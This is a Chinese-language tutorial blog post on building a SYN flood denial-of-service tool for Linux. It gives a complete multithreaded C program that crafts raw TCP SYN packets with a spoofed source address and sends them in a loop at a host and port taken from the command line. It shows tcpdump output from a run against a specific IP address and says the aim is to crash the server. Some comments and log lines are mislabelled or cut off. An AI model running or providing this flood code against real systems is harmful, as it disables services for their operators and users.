1. 程式人生 > >Linux網路程式設計之SYN洪水攻擊

Linux網路程式設計之SYN洪水攻擊

1.概述

TCP建立連線需要3次握手,從IP層來看,客戶端傳送SYN請求,伺服器對SYN響應,而客戶端對伺服器的響應再次確認才能建立連線。在伺服器響應之後,等待一段時間,才能獲得客戶端的確認.從伺服器接收到客戶端的確認之前,伺服器的資源一直佔用。如果這時客戶端不確認,那麼這些連線就是半連線。通過建立大量的半連線,使伺服器資源不斷的減少,達到攻擊的目的。或者是傳送大量的SYN請求,使伺服器不能夠及時的處理,則伺服器的資源會慢慢減少,達到攻擊的目的。

2. SYN洪水攻擊

#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/signal.h>
#include <fcntl.h>
#include <time.h>
#include <netdb.h>
#include <errno.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <ctype.h>
#include <netinet/tcp.h>
/**
SYN洪水攻擊原理:
TCP建立連線的時候要經過三次握手
(1)源主機向目的主機發送SYN
(2)目的主機收到報方後向源主機發送一個ACK
(3)當源主機發收報文之後向目的主機發送一個ACK,表示已經收到目的主機的ACK
 這時候才能夠通訊
可以在目的主機發送完ACK後,源主機不再像目的主機發送ACK,這樣目的主機一直超時等待,即建立半連線。
也可以傳送大量的SYN包,讓目的主機處理不過來,來消耗目的主機的頻寬
**/
#define MAXCHILD 2
#define K 1024
#define DATUML 1*K
static int PROTO_TCP=-1;//TCP協議型別
static unsigned long dest=0;//目的地址,32位二進位制
static int dest_port=0;
static int rawsock=-1;//原始套接字
static int alive=0;
//整個IP報文包括3個部分,IP首部,TCP首部,TCP資料部分
struct dosseg_t {
 struct ip iph;//IP頭部
 struct tcphdr tcph;//TCP頭部
}dosseg;

struct pseudo_header    //needed for checksum calculation
{
    unsigned int source_address;//源地址
    unsigned int dest_address;//目的地址
    unsigned char placeholder;
    unsigned char protocol;//協議號
    unsigned short tcp_length;//tcp包長度

    struct tcphdr tcp;//tcp首部
};//一起計算校驗和
//計算校驗和
static unsigned short DoS_cksum(unsigned short *data,int length){
  register int left=length;
  register unsigned short*word=data;
  register int sum=0;
  unsigned short ret=0;
  //計算偶數字節
 while(left>1){
    sum+=*word++;
   left-=2;
}
if(left==1){
    *(unsigned char*)(&ret)=*(unsigned char*)word;
    sum+=ret;
 }
 sum=(sum>>16)+(sum&0xffff);
 sum+=(sum>>16);
 ret=~sum;
 return ret;


}
static inline long myrandom(int begin,int end){//根據不同的種子,隨機出不同的數
 int gap=end-begin+1;
 int ret=0;
 //系統時間初始化
 srand((unsigned)time(0));
 ret=random()%gap+begin;//介於begin與end之間的值
 return ret;
}

static void DoS_tcp(){
 struct in_addr src;//源地址
 struct in_addr dst;//目的地址
  int i;
struct sockaddr_in to;

//首先填充IP首部
dosseg.iph.ip_v=4;//IP版本號
dosseg.iph.ip_hl=5;//IP首部長度,以4位元組為單位
dosseg.iph.ip_tos=0;//服務型別
dosseg.iph.ip_len=(sizeof(struct ip)+sizeof(struct tcphdr));//IP報文的總長度
dosseg.iph.ip_id=htons(getpid());//IP報文標識,程序PID
dosseg.iph.ip_off=0;//段偏移
dosseg.iph.ip_ttl=myrandom(200,255);//生存值
dosseg.iph.ip_p=PROTO_TCP;//協議型別
dosseg.iph.ip_sum=0;//檢驗和
src.s_addr=inet_addr("222.27.253.108");//htonl(myrandom(0,65535))
dosseg.iph.ip_src=src;
dst.s_addr=dest;
dosseg.iph.ip_dst=dst;
dosseg.iph.ip_sum=DoS_cksum((unsigned short*)&dosseg.iph,sizeof(dosseg.iph));//檢驗和,IP首部長度
//填充TCP報文的首部
 dosseg.tcph.source=htons(myrandom(0,65535));
 dosseg.tcph.dest=htons(dest_port);
 dosseg.tcph.seq=htonl((unsigned long)myrandom(0,65535));
 dosseg.tcph.ack_seq=htons(myrandom(0,65535));
 dosseg.tcph.syn=1;
 dosseg.tcph.urg=1;
 dosseg.tcph.fin=0;
 dosseg.tcph.doff=5;//指的是TCP的首部長度為20位元組
 dosseg.tcph.window=htons(myrandom(0,65535));
 dosseg.tcph.check=0;
 dosseg.tcph.rst=0;
 dosseg.tcph.urg_ptr=htons(myrandom(0,65535));

to.sin_family=AF_INET;
to.sin_addr.s_addr=dest;
to.sin_port=htons(dest_port);
//TCP Header
//     dosseg.tcph.source = htons (1234);
//     dosseg.tcph.dest = htons (80);
//     dosseg.tcph.seq = 0;
//     dosseg.tcph.ack_seq = 0;
//     dosseg.tcph.doff = 5;        /* first and only tcp segment */
//     dosseg.tcph.fin=0;
//     dosseg.tcph.syn=1;
//     dosseg.tcph.rst=0;
//     dosseg.tcph.psh=0;
//     dosseg.tcph.ack=0;
//     dosseg.tcph.urg=0;
//     dosseg.tcph.window = htons (5840);    /* maximum allowed window size */
//     dosseg.tcph.check = 0;/* if you set a checksum to zero, your kernel's IP stack
//                 should fill in the correct checksum during transmission */
//     dosseg.tcph.urg_ptr = 0;
        struct  pseudo_header psh;
        psh.source_address = inet_addr("222.27.253.108");
    psh.dest_address =inet_addr("222.27.253.1");
    psh.placeholder = 0;
    psh.protocol = IPPROTO_TCP;//TCP協議號
    psh.tcp_length = htons(20);//TCP首部長度

    memcpy(&psh.tcp , &dosseg.tcph , sizeof (struct tcphdr));

    dosseg.tcph.check = DoS_cksum( (unsigned short*) &psh , sizeof (struct pseudo_header));//偽首部長度一起計算校驗和
//傳送資料
int size=sendto(rawsock,&dosseg,4*dosseg.iph.ip_hl+sizeof(struct tcphdr),0,(struct sockaddr*)&to,sizeof(struct sockaddr));

if(size<0){
   perror("sendto");
}
//printf("size=%d\n",size);
}
//執行緒函式
static void DoS_fun(unsigned long ip){
  while(alive){
 
    DoS_tcp();
}


}

static void DoS_sig(){
  alive=0;
  printf("-------exit----\n");
  return;
}

int main(int argc,char*argv[]){
  struct hostent* host=NULL;//主機的相關資訊
  struct protoent*protocol=NULL;//協議的相關資訊
  char protoname[]="tcp";
  struct in_addr dst;
  int i=0;
  int err=-1;
  alive=1;
pthread_t pthread[MAXCHILD];//執行緒陣列
 signal(SIGINT,DoS_sig);//訊號處理函式
 if(argc<3){
   return -1;
 }
//獲取UDP的協議型別
 protocol=getprotobyname(protoname);
 if(protocol==NULL){
    perror("get protobyname");
    return -1;
  }
  PROTO_TCP=protocol->p_proto;
  dest=inet_addr(argv[1]);//得到目的地址
if(dest==INADDR_NONE){
   host=gethostbyname(argv[1]);
   if(host==NULL){
     perror("gethostbyname");
  }

 memcpy((char*)&dst,host->h_addr,host->h_length);
 dest=dst.s_addr;
}

 
dest_port=atoi(argv[2]);

//建立原始套接字
rawsock=socket(AF_INET,SOCK_RAW,PROTO_TCP);
printf("rawsock=%d\n",rawsock);
if(rawsock<0){
   perror("socket error");
}
//設定手工填寫IP首部

setsockopt(rawsock,SOL_IP,IP_HDRINCL,"1",sizeof("1"));
//建立多執行緒傳送UDP包

for(i=0;i<MAXCHILD;i++){
  err=pthread_create(&pthread[i],NULL,DoS_fun,NULL);
}
//等待執行緒結束
for(i=0;i<MAXCHILD;i++){
  pthread_join(pthread[i],NULL);

}

close(rawsock);

}

說明:TCP首部校驗和的計算除了TCP首部還包括源地址,目的地址,協議號和首部長度12個位元組的偽首部. SYN域需要設定為1. 如果要偽裝IP,就隨機出一個IP地址傳送。

80號埠提供http服務.

執行結果:

[[email protected] 13章原始套接字]# ./tcp-attack 222.27.253.1 80

tcpdump抓到發出的TCP包:
19:28:26.196380 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.197231 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.198138 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.199066 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.199914 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.200858 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.201708 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.202553 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.203398 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.218594 arp who-has 202.118.185.87 tell 202.118.185.1
19:28:26.221212 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.222115 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.222959 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
.253.108.10623 > 222.27.253.1.http: S 10623:10623(0) win 10623 urg 10623

主機返回的ACK包:

19:30:59.004230 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.005072 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.005913 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.006754 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.007684 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.008527 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.009371 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.011881 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.013792 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.014636 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.015479 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.016321 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.017166 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.018012 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.018856 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.019767 IP 222.27.253.1.http > 222.27.253.1 win 0

總結:

本文主要介紹了基於TCP和SYN攻擊,建立很多半開連線來減少伺服器的資源,最終使伺服器崩潰,達到攻擊的目的。